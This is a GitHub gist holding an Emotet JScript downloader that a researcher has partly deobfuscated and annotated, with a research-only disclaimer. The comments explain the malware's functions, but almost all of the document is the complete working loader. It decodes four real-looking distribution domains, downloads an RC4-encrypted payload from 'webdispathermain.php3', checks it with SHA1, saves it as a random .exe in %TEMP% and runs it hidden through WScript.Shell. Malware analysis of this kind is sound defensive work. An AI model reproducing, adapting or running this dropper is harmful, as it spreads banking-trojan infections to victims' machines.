Last active
June 14, 2018 06:50
-
-
Save taco-shellcode/a70f8e53027e7d294e02d720b5be7aec to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Some work I did to deobfuscate part some emotet malware I discovered. | |
*DISCLAIMER - THIS IS ONLY FOR RESEARCH PURPOSES* | |
*/ | |
var heuc = [49,48,116,105,108,108,99,111,109,46,109,111,110,116,103,111,109,101,114,121,116,101,99,104,46,99,111,109,59,113,97,116,116,114,111,46,97,98,99,119,100,48,46,115,101,101,100,46,102,97,115,116,115,101,99,117,114,101,115,101,114,118,101,114,115,46,99,111,109,59,115,111,117,114,99,101,46,107,98,97,102,46,109,121,122,101,110,46,99,111,46,117,107,59,97,99,115,46,108,101,103,97,99,121,99,111,110,116,114,97,99,116,111,114,115,105,110,99,46,99,111,109]; | |
/* | |
https://www.branah.com/ascii-converter | |
49 48 116 105 108 108 99 111 109 46 109 111 110 116 103 111 109 101 114 121 116 101 99 104 46 99 111 109 | |
10tillcom.montgomerytech.com; | |
113 97 116 116 114 111 46 97 98 99 119 100 48 46 115 101 101 100 46 102 97 115 116 115 101 99 117 114 101 115 101 114 118 101 114 115 46 99 111 109 59 115 111 117 114 99 101 46 107 98 97 102 46 109 121 122 101 110 46 99 111 46 117 107 59 97 99 115 46 108 101 103 97 99 121 99 111 110 116 114 97 99 116 111 114 115 105 110 99 46 99 111 109 | |
qattro.abcwd0.seed.fastsecureservers.com; | |
source.kbaf.myzen.co.uk; | |
acs.legacycontractorsinc.com | |
*/ | |
function d4c5(ksf_) { | |
var fyx= m35(ray3(o80(ksf_), ksf_.length*8)); | |
var omf_= "0123456789abcdef"; | |
var oa20= ""; | |
for (var i= 0; i<fyx.length; i++) { | |
var cq_= fyx.charCodeAt(i); | |
oa20+= omf_.charAt((cq_>>4)&0xF) + omf_.charAt(cq_&0xF); | |
} | |
return oa20; | |
} | |
function o80(ksf_) { | |
while (ksf_.length%4!=0) | |
ksf_+= '\x00'; | |
var crk= new Array(); | |
for (var i= 0; i<ksf_.length; i+= 4) { | |
crk[crk.length]= ( | |
(ksf_.charCodeAt(i)&0xFF)<<24 | (ksf_.charCodeAt(i+1)&0xFF)<<16 | | |
(ksf_.charCodeAt(i+2)&0xFF)<<8 | (ksf_.charCodeAt(i+3)&0xFF) | |
); } | |
return crk; | |
} | |
function m35(crk) { | |
var ksf_= ""; | |
for (var i=0; i < crk.length; i++) { | |
var a = (crk[i]>>24)&0xFF; | |
var b = (crk[i]>>16)&0xFF; | |
var cq_ = (crk[i]>>8)&0xFF; | |
var a0z = crk[i]&0xFF; | |
ksf_ += String.fromCharCode(a, b, cq_, a0z) | |
} | |
return ksf_; | |
} | |
function ray3(crk, iv5k) { | |
var tmp_h = [1732584193, -271733879, -1732584194, 271733878, -1009589776]; | |
while (crk.length*32<=iv5k) crk[crk.length]= 0; | |
crk[crk.length-1]|= 1<<(31-iv5k%32) | |
while (crk.length%16!=14) crk[crk.length]= 0; | |
crk[crk.length]= Math.floor(iv5k/0x100000000); | |
crk[crk.length]= iv5k&0xFFFFFFFF; | |
var u7_=tmp_h[0], x3bo= tmp_h[1], verd= tmp_h[2], tgup= tmp_h[3], y5i= tmp_h[4]; | |
var a, b, cq_, a0z, e, w_2q, hgs, t51w, w= new Array(80); | |
for(var uas4= 0; uas4<crk.length; uas4+= 16) { | |
a= u7_; b= x3bo; cq_= verd; a0z= tgup; e= y5i; | |
for (var i= 0; i<16; i++) w[i]= crk[uas4+i]; | |
for (; i<80; i++) w[i]= yjwk(w[i-3] ^ w[i-8] ^ w[i-14] ^ w[i-16], 1); | |
for(var i= 0; i<80; i++) { | |
var i_20 = Math.floor(i/(20+5-5)); | |
if (i_20 == 0) { | |
w_2q = v7g(1518500249, (b & cq_) | ((~b) & a0z)); | |
} else if (i_20 == 1) { | |
w_2q = v7g(1859775393, b ^ cq_ ^ a0z); | |
} else if (i_20 == 2) { | |
w_2q= v7g(-1894007588, (b & cq_) | (b & a0z) | (cq_ & a0z)); | |
} else if (i_20 == 3) { | |
w_2q= v7g(-899497514, b ^ cq_ ^ a0z); | |
} | |
t51w= v7g( v7g(yjwk(a, 5), w[i]), v7g(e, w_2q) ); | |
e= a0z; a0z= cq_; cq_= b; b= a; a= t51w; | |
cq_= yjwk(cq_, 30); | |
} | |
u7_= v7g(u7_, a); x3bo= v7g(x3bo, b); verd= v7g(verd, cq_); tgup= v7g(tgup, a0z); y5i= v7g(y5i, e); | |
} | |
return new Array(u7_, x3bo, verd, tgup, y5i); | |
} | |
function v7g(a, b) { | |
var qn59= (a&0xFFFF) + (b&0xFFFF); | |
var r3qq= (a>>16) + (b>>16) + (qn59>>16); | |
return (r3qq<<16) | (qn59&0xFFFF); | |
} | |
function yjwk(n, qpf) { | |
return (n<<qpf) | (n>>>(32-qpf)); | |
} | |
function q0q(s) { | |
var zgr9 = [], cq_; | |
for ( var i = 0, yc96 = s.length; i < yc96; ++i ) { | |
cq_ = s.charCodeAt(i); | |
zgr9.push( | |
(cq_ >> 4 ).toString(16), | |
(cq_ & 0xF ).toString(16)); | |
} | |
return String.prototype.concat.apply("",zgr9);; | |
} | |
function a0t(saho, gcsg) { | |
var s = [], rykz = 0, x, xr2 = ""; | |
for (var i = 0; i < 256; i++) { | |
s[i] = i; | |
} | |
for (i = 0; i < 256; i++) { | |
rykz = (rykz + s[i] + saho.charCodeAt(i % saho.length)) % 256; | |
x = s[i]; | |
s[i] = s[rykz]; | |
s[rykz] = x; | |
} | |
i = 0; | |
rykz = 0; | |
for (var y = 0; y < gcsg.length; y++) { | |
i = (i + 1) % 256; | |
rykz = (rykz + s[i]) % 256; | |
x = s[i]; | |
s[i] = s[rykz]; | |
s[rykz] = x; | |
xr2 += String.fromCharCode(gcsg.charCodeAt(y) ^ s[(s[i] + s[rykz]) % 256]); | |
} | |
return xr2; | |
} | |
function i8n(ad4h) { | |
var fhg9 = ""; | |
for ( i = 0; i < ( ad4h.length / 2 ); i++ ) { | |
fhg9 += String.fromCharCode( "0x" + ad4h.substr( i * 2, 2 ) ); | |
} | |
return fhg9; | |
} | |
/* | |
Catches 2 variables | |
data which is the GET data from the http request made to the url | |
su9 which is the random string file name | |
It loops through all the data returned and checks to see if it is A-Z OR a-z OR 0-9 | |
returns an error code -1 if any character is not alphanumeric | |
A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z | |
a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,,x,y,z | |
0,1,2,3,4,5,6,7,8,9 | |
gkm takes the first 40 elements in the data array and passes it to function i8n | |
*/ | |
function q8s(data, su9) { | |
var fhg9 = ""; | |
for (var i = 0; i < data.length; i++) { | |
var o1ek = data.charCodeAt(i); | |
if (!(o1ek >= 0x41 && o1ek <= 0x5A) && !(o1ek >= 0x61 && o1ek <= 0x7A) && !(o1ek >= 0x30 && o1ek <= 0x39)) { | |
return -1; | |
} | |
} | |
var gkm = i8n( data.slice(0,40) ); | |
var ftmq = a0t(gkm, i8n( data.slice(40,data.length) ) ); | |
var F = ftmq.slice(0,20); | |
var wgej = q0q(F); | |
var vh3 = ftmq.slice(20,ftmq.length); | |
var ctzn = d4c5(vh3); | |
if (wgej != ctzn) { | |
return -1; | |
} | |
eag(vh3, su9); | |
return 1; | |
} | |
function eag(data, su9) { | |
var wbx = new ActiveXObject("ADODB.Stream"); | |
var frc = new ActiveXObject("ADODB.Stream"); | |
var fhg9 = ""; | |
var ei8 = new ActiveXObject("Shell.Application"); | |
wbx.Type = 2; | |
wbx.Open(); | |
wbx.WriteText(data); | |
wbx.Position = 0; | |
frc.Type = 2; | |
frc.Charset = "ISO-8859-1"; | |
frc.Open(); | |
wbx.CopyTo( frc ); | |
var ppt = 'fUfks9ljo9Me13x2OCxv8W1RIVz4BMAs3fVGjB'; | |
frc.SaveToFile( su9, 2 ); | |
wbx.Close(); | |
frc.Close(); | |
} | |
/* | |
Catches 3 variables | |
lbd = XMLHttpRequest() object | |
plax = "http://<URL>/webdispathermain.php3" | |
su9 = C:\Users\<user>\AppData\Local\Temp\<random string>.exe | |
performs a GET request and if the status is not equal to 200 it will return the error code of -1 | |
If the status is 200 it calls function q8s with the response text and the random string file name | |
*/ | |
function eqi(lbd, plax, su9) { | |
try { | |
lbd.open("GET", plax, false); | |
lbd.send(null); | |
if (lbd.status != 200) { | |
return -1; | |
} | |
return q8s(lbd.responseText, su9); | |
} catch (e) { | |
return -2; | |
} | |
return -3; | |
} | |
/* | |
Is called with the values 6, 8 | |
etjr = 6 + Math.Floor(Math.Random() * 2)); - this will equal 6 or 7 depending on the Math.Floor(Math.Random() * 2) | |
http://www.asciitable.com/ | |
http://www.utf8-chartable.de/ | |
"01234567\x389\u0041B\x43DEF\x47HIJKLMNOP\x51R\u0053\x54\u0055VWX\x54Zabcdefgh\x69kl\u006dno\x70qrstuv\x77xyz" | |
\x38 = 8 | |
\u0041 = A | |
\x43 = C | |
\x47 = G | |
\x51 = Q | |
\u0053 = S | |
\x54 = T | |
\u0055 = U | |
\x54 = T | |
\x69 = i | |
\u006d = m | |
\x70 = p | |
\x77 = w | |
"0123456789ABCDEFGHIJKLMNOPQRSTUVWXTZabcdefghiklmnopqrstuvwxyz" | |
Capital Y is not present in this string, it is replaced with Capital T again | |
Lowercase j is also not present in the string, but is not replaced by any character | |
etjr is used as the loop terminator - either 6 or 7 | |
Script then generates a random character string by selecting characters with the substring method | |
Starts at a random character in the string wh3b and then selects the character next in the string | |
Example - y4uv += wh3b.substring(60,60+1); = z | |
var euv = Math.floor(Math.random() * 61); | |
y4uv += wh3b.substring(euv,euv+1); | |
Then returns the 6 or 7 character random string | |
*/ | |
function jyy8(f_p, acwc) { | |
etjr = f_p + Math.floor(Math.random() * (acwc - f_p)); | |
var wh3b = "01234567\x389\u0041B\x43DEF\x47HIJKLMNOP\x51R\u0053\x54\u0055VWX\x54Zabcdefgh\x69kl\u006dno\x70qrstuv\x77xyz"; | |
var y4uv = ""; | |
for (var nvdk = 0; nvdk < etjr; nvdk++) { | |
var euv = Math.floor(Math.random() * wh3b.length); | |
y4uv += wh3b.substring(euv,euv+1); | |
} | |
var dgl = 'fUfks9ljo9Me13x2OCxv8W1RIVz4BMAs3fVGjB'; | |
return y4uv; | |
} | |
/* | |
Function edsb takes the path to the tmp file and captures it as the variable zo01 | |
Creates an ADODB.Stream object in as variable a12 | |
Sets the type of the ADODB.Stream to binary data | |
Sets the mode of the ADODB.Stream to read/write | |
And then opens the stream object | |
It then tries to read from the file C:\Users\<user>\AppData\Local\Temp\~eonytxw.tmp | |
if it fails it tries to write to the stream it then returns with 0 - this exits the script | |
If it succeeds it returns a 1 and continues the script | |
*/ | |
function edsb(zo01) { | |
try { | |
var a12 = new ActiveXObject("ADODB.Stream"); | |
a12.Type = 1; | |
a12.Mode = 3; | |
a12.Open(); | |
try { | |
a12.LoadFromFile(zo01); | |
} catch (e) { | |
a12.SaveToFile(zo01, 2); | |
} | |
a12.Close(); | |
return 1; | |
} catch (e) { | |
return 0; | |
} | |
} | |
/* | |
function qo3 takes wvvb wscript.shell object and expands the environment variable %TEMP% into I | |
then creates variable o1fy that is the full name of the running script | |
replaces characters in the path name with an empty string | |
creates variable yv6 that is equal to C:\Users\<user>\AppData\Local\Temp\~eonytxw.tmp | |
calls function edsb with variable yv6 | |
*/ | |
function qo3(wvvb) { | |
var I; | |
try { | |
I=wvvb.ExpandEnvironmentStrings("%TEMP%"); | |
} catch (e) { | |
return 0; | |
}; | |
var o1fy = WScript.ScriptName; | |
var jzx = o1fy.replace(/\..*/, '' ); | |
var yv6 = I+"\\~"+jzx+".tmp"; | |
return edsb(yv6); | |
} | |
/* | |
variable B catches the string a1qpz | |
Sets var o_61 = 0 | |
Tests if B == 885 which will always return false | |
returns o_61 which is 0 | |
*/ | |
function G(B) { | |
var o_61 = 0; | |
if (B == "885") { | |
var i = 0; | |
for (var i = 0; i < B.length; i++) { | |
o_61 = i; | |
break; | |
} | |
} | |
return o_61; | |
} | |
/* | |
Function Q takes the variables t which is the random string file name of the downloaded malware and wvvb as the wscript.shell object | |
It then executes the malware and exits the function | |
*/ | |
function Q(t, wvvb) { | |
wvvb.Run(wvvb.Environment("Process").Item("TEMP") + '\\' + t + ".exe", 0); | |
} | |
/* | |
a5m will capture each url that is passed into the function from the previous code | |
t calls function jyy8 which generates a 6 or 7 random character string | |
T = webdispathermain.php3 | |
a12 creates a new ADODB.Stream object | |
pfrk = wsript.shell.Enviornment("Process") | |
Tries to call function G with a1qpz which will always return 0 as it tests if 'a1qpz == 885' | |
creates lbd = new XMLHttpRequest(); | |
calls function eqi with the following parameters: | |
xml object lbd | |
"http://" + url + "/" + T "http://10tillcom.montgomerytech.com/webdispathermain.php3" | |
C:\Users\<user>\AppData\Local\Temp\ + random string file name from t .exe | |
if the return from eqi is less than 0 it throws an error, otherwise it calls function Q | |
Function Q is passed t which is the random string filename and wvvb which is the wscript.shell object | |
*/ | |
function r1u0(a5m) { | |
var t = jyy8(6,8); | |
var T = "webd\u0069s\x70\x61thermain.p\x68p\x33"; | |
var o_61 = 1; | |
var lbd = null; | |
var a12 = new ActiveXObject("ADODB.Stream"); | |
var pfrk = wvvb.Environment("Process"); | |
var re8h = 'fUfks9ljo9Me13x2OCxv8W1RIVz4BMAs3fVGjB'; | |
try { | |
if ( !G("a"+"1"+"qp"+"z") ) { | |
lbd = new XMLHttpRequest(); | |
} | |
} catch(wopt) { | |
try { | |
lbd = new ActiveXObject("\u004d\u0053XM\u004c2.Server\x58MLHTT\x50"); | |
} catch(wopt) { | |
lbd = new ActiveXObject("Microsoft.XMLHTTP"); | |
} | |
} | |
try { | |
if (!lbd) { | |
throw "xml object is NULL"; | |
} | |
if (eqi(lbd, "http://" + a5m + "/" + T, pfrk.Item('T'+'E'+'M'+'P') + '\\' + t + '.'+'exe') < 0) { | |
throw "get_file() failed"; | |
} | |
Q(t, wvvb); | |
} catch (e) { | |
o_61 = 0; | |
} | |
return o_61; | |
} | |
//Creates variable wvvb as a wscript.shell object | |
var wvvb = new ActiveXObject("WScript.Shell"); | |
/* | |
calls qo3 and passes the wscript.shell object as wvvb | |
Function qo3 creates a random string file in C:\Users\<user>\AppData\Local\Temp\<string>.tmp | |
qo3 then calls function edsb on this file to verify read/write access returning 0 if it fails and 1 if it succeeds | |
If the return is 0 the script exits, if it's 1 it will continue into the else statement | |
*/ | |
if (qo3(wvvb) == 0) { | |
} else { | |
/* | |
Creates an empty string named abnk and creates an empty array named aqk | |
Loops through the variable heuc which is an array of ASCII character codes located at the beginning on the script on line 1 | |
If heuc[i] is not equal to 59 which is the ; character it will then append the character to the string held in abnk | |
If heuc[i] is equal to a semi colon it pushes the string value held in abnk to the array aqk and clears abnk for the next string | |
10tillcom.montgomerytech.com | |
qattro.abcwd0.seed.fastsecureservers.com | |
source.kbaf.myzen.co.uk | |
acs.legacycontractorsinc.com | |
*/ | |
var abnk = ""; | |
var aqk = []; | |
for (var i=0; i < heuc.length; i++) { | |
if (heuc[i] == 59) { | |
aqk.push(abnk); | |
abnk = ""; | |
continue; | |
} | |
abnk += String.fromCharCode(heuc[i]); | |
} | |
aqk.push(abnk); | |
/* | |
Loops through the array aqk that contains the string urls created in the previous loop | |
calls function r1u0 passing the first url | |
if the return code is 1 meaning a successful download, the loop will break out | |
if it is returned as 0 it will pass the next url and try to download malware from another source | |
*/ | |
for (var nvdk = 0; nvdk < aqk.length; nvdk++) { | |
if (r1u0(aqk[nvdk]) == 1) { | |
break; | |
} | |
} | |
} | |
/* Function tree / map | |
function qo3 | |
function edsb | |
function r1u0 | |
function jyy8 | |
function G | |
function eqi | |
function q8s | |
function i8n | |
function a0t > i8n | |
function q0q | |
function d4c5 | |
function Q | |
*/ |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment